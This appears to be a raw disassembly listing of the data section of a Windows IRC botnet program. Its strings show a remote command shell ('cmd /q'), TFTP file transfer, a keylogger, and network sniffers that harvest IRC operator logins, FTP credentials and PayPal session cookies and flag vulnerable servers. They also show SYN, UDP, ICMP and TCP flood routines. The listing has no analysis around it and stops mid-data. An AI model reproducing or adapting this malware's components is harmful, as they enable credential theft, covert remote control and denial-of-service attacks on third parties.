sub_40F96A+328o ; sub_40F96A+496o db '<TD WIDTH="%d"><A HREF="',0 align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_40F96A+310o align 4 aS db '<%s>',0 ; DATA XREF: sub_40F96A+2E9o ; sub_40F96A+40Bo align 10h a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96A+2BFo aAm db 'AM',0 ; DATA XREF: sub_40F96A+295o align 4 aPm db 'PM',0 ; DATA XREF: sub_40F96A+28Ao align 4 a__ db '..',0 ; DATA XREF: sub_40F96A+237o align 4 aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+1C5o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+149o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+12Do db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+F9o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96A+AEo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 4 aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_40F96A+79o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 4 aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DB+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_433F50 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:0041036Do aServerFailed_0 db '- server failed, returned %d',0 align 4 aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410312o dword_433F94 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:004102B7o aClientConnecti db '- client connection from %s:%d.',0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToSta_38 db 'Failed to start client thread, error: <%d>.',0 unk_433FFC db 2Dh ; - ; DATA XREF: ___:00410493o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_434044 db 2Dh ; - ; DATA XREF: ___:004106E5o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aFailedToSta_39 db 'Failed to start connection thread, error: <%d>.',0 unk_434084 db 2Dh ; - ; DATA XREF: ___:0041061Co db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0 align 4 unk_4340C8 db 2Dh ; - ; DATA XREF: ___:004109A8o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedOutS db '- User logged out: <%s@%s>.',0 align 4 unk_4340F4 db 2Dh ; - ; DATA XREF: ___:00410981o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorSessionru db '- Error: SessionRun(): <%d>.',0 align 10h unk_434120 db 2Dh ; - ; DATA XREF: ___:00410961o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedInS@ db '- User logged in: <%s@%s>.',0 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:00410931o align 4 unk_43415C db 2Dh ; - ; DATA XREF: ___:004108A0o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorGetpeerna db '- Error: getpeername(): <%d>.',0 align 4 unk_434188 db 2Dh ; - ; DATA XREF: sub_4109C4:loc_410A09o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aProtocolString db '- Protocol string too long.',0 align 4 dword_4341B4 dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh ; DATA XREF: sub_410A1E+1Bo dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h dd 203A7265h, 4073253Ch, 2E3E7325h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 45202D03h, 726F7272h dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h dd 656E7275h, 3C203A64h, 2E3E6425h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh dd 676F6C72h, 2646E69h, 43202D03h, 6E65696Ch, 6F632074h dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh dd 676F6C72h, 2646E69h, 46202D03h, 656C6961h, 6F742064h dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h dd 0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0 align 10h unk_434350 db 2Dh ; - ; DATA XREF: sub_410CD5+DEo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0 align 4 unk_434384 db 2Dh ; - ; DATA XREF: sub_410CD5+59o ; sub_410CD5+8Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0 align 4 unk_4343CC db 2Dh ; - ; DATA XREF: sub_410E26+AFo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExecut db '- Failed to execute shell.',0 unk_4343F4 db 2Dh ; - ; DATA XREF: sub_410E26+7Eo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0 align 4 unk_434434 db 2Dh ; - ; DATA XREF: sub_410E26+5Co db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0 unk_434474 db 2Dh ; - ; DATA XREF: sub_410F1F+C3o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0 align 4 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_410F1F+8Co align 4 dword_4344B4 dd 234032Dh, 676F6C72h, 2646E69h, 53202D03h, 69737365h ; DATA XREF: sub_410FF8+A1o dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h dd 74726F50h, 2E642520h, 0 dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh dd 6B636F73h, 3023473h, 6C43202Dh, 746E6569h, 6E6F6320h dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7245202Dh dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7541202Dh dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h dd 7325203Dh, 2Eh, 4000500h, 7868746Bh, 0 aTftpTransferCo db 'Tftp transfer complete to: %s',0 align 4 aTftpTransferSt db 'Tftp transfer started to: %s',0 align 8 dw 8 unicode 0, <>,0 aB: unicode 0, <b>,0 dd 62000000h, 2 dup(0) dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 61000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h, 38h, 38000000h, 2 dup(0) dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_434E24 dd 234032Dh, 6C79656Bh, 302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC1o aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Bo align 4 asc_434E54: ; DATA XREF: ___:00411C3Fo unicode 0, <\>,0 aSReturnS db '%s (Return) (%s)',0 align 4 aSBufferFullS db '%s (Buffer full) (%s)',0 align 4 aSChangedWindow db '%s (Changed Windows: %s)',0 align 10h dd offset off_435718 dd offset off_435714 dd offset off_435710 dd offset aHttp_0 ; "HTTP" dd 6F6C2E3Ah, 6E6967h, 4 dup(0) dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 0 db 0 db 3 dup(0) ; DATA XREF: ___:off_435714o dd 3 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp_0 db 'HTTP',0 ; DATA XREF: ___:00434EACo align 10h off_435710 dd offset word_505446 ; DATA XREF: ___:00434EA8o off_435714 dd offset byte_435249 ; DATA XREF: ___:00434EA4o off_435718 dd offset word_544F42 ; DATA XREF: ___:00434EA0o dd 234032Dh, 696E7370h, 3026666h, 6572202Dh, 29287663h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h, 7573202Dh, 63697073h dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h dd 3026666h, 2Dh, 4E53505Bh, 5D464649h, 0 dd 234032Dh, 696E7370h, 3026666h, 5357202Dh, 636F4941h dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h dd 64252064h, 0 dd 234032Dh, 696E7370h, 3026666h, 6962202Dh, 2928646Eh dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h aSocketFailedRe db '- socket() failed, returned %d',0 align 10h aHashin db ':!hashin',0 ; DATA XREF: sub_412360+103o align 4 a_hashin db ':.hashin',0 ; DATA XREF: sub_412360+EEo align 4 aIdent_0 db ':!ident',0 ; DATA XREF: sub_412360+D9o a_ident db ':.ident',0 ; DATA XREF: sub_412360+C8o a_login db ':.Login',0 ; DATA XREF: sub_412360+B7o aLogin db ':!Login',0 ; DATA XREF: sub_412360+A6o aLogin_0 db ':!login',0 ; DATA XREF: sub_412360+95o a_login_0 db ':.login',0 ; DATA XREF: sub_412360+84o a366 db '366 ',0 ; DATA XREF: sub_412360+73o align 10h a302_0 db '302 ',0 ; DATA XREF: sub_412360:loc_4123C2o align 4 aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_412360+4Do align 10h aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_412360+3Co align 4 aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412360+2Bo align 4 aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412360+5o align 4 aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_412477+62o aOper db 'oper ',0 ; DATA XREF: sub_412477+51o align 4 aNick_1 db 'NICK ',0 ; DATA XREF: sub_412477:loc_4124B7o ; sub_4124ED+2Bo align 10h aOper_0 db 'OPER ',0 ; DATA XREF: sub_412477+2Bo align 4 aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_412477+5o align 4 aPass_0 db 'PASS ',0 ; DATA XREF: sub_4124ED+73o align 4 aUser_3 db 'USER ',0 ; DATA XREF: sub_4124ED+62o align 4 a230 db '230 ',0 ; DATA XREF: sub_4124ED:loc_41253Eo align 4 a220 db '220 ',0 ; DATA XREF: sub_4124ED+3Co align 4 aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_4124ED+5o align 10h aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_412574+73o aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_412574+62o align 4 aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_412574+51o align 4 aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_412574:loc_4125B4o align 4 aPaypal db 'paypal',0 ; DATA XREF: sub_412574+2Bo align 4 aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_412574+5o align 10h aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_4125FB+51o align 4 aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FB:loc_41263Bo align 10h aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_4125FB+2Bo align 10h aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_4125FB+5o align 4 unk_43598C db 2Dh ; - ; DATA XREF: sub_412660+3ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_4359C4 db 2Dh ; - ; DATA XREF: sub_412660+382o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_4359FC db 2Dh ; - ; DATA XREF: sub_412660+351o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0 unk_435A30 db 2Dh ; - ; DATA XREF: sub_412660+31Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0 unk_435A64 db 2Dh ; - ; DATA XREF: sub_412660+2E2o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0 unk_435A98 db 2Dh ; - ; DATA XREF: sub_412660+14Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0 align 4 unk_435AC8 db 2Dh ; - ; DATA XREF: sub_412660+C5o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBindFailedRetu db '- bind() failed, returned %d',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aDoneWithFloodA db 'done with flood at %iKB/sec',0 dword_435B1C dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h ; DATA XREF: sub_412B08+302o dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0 dd 234032Dh, 706D6369h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch dd 6E727574h, 25206465h, 64h, 234032Dh, 706D6369h, 202D0302h dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 706D6369h, 202D0302h, 6B636F73h, 29287465h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 676E6970h, 202D0302h, 696E6966h, 64656873h dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh dd 0 dd 234032Dh, 676E6970h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh dd 2706475h, 66202D03h, 73696E69h, 20646568h, 646E6573h dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh dd 2706475h, 65202D03h, 726F7272h, 6E657320h, 676E6964h dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h dd 3026E79h, 6F44202Dh, 7720656Eh, 20687469h, 6F6F6C66h dd 25282064h, 2F424B69h, 29636573h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aDoneWithFloodI db '- Done with flood (%iKB/sec).',0 align 4 dword_435D44 dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h ; DATA XREF: sub_41386B+27Do dd 3C203A72h, 2E3E6425h, 0 dd 234032Dh, 67726174h, 3023361h, 6F44202Dh, 7720656Eh dd 20687469h, 6F6F6C66h, 2E64h, 234032Dh, 2706374h, 44202D03h dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch dd 2Eh, 234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h dd 65677261h, 50492074h, 2Eh, 234032Dh, 2706374h, 45202D03h dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h dd 3A64656Eh, 64253C20h, 2E3Eh, 234032Dh, 6E757374h, 2696D61h dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh dd 70206425h, 656B6361h, 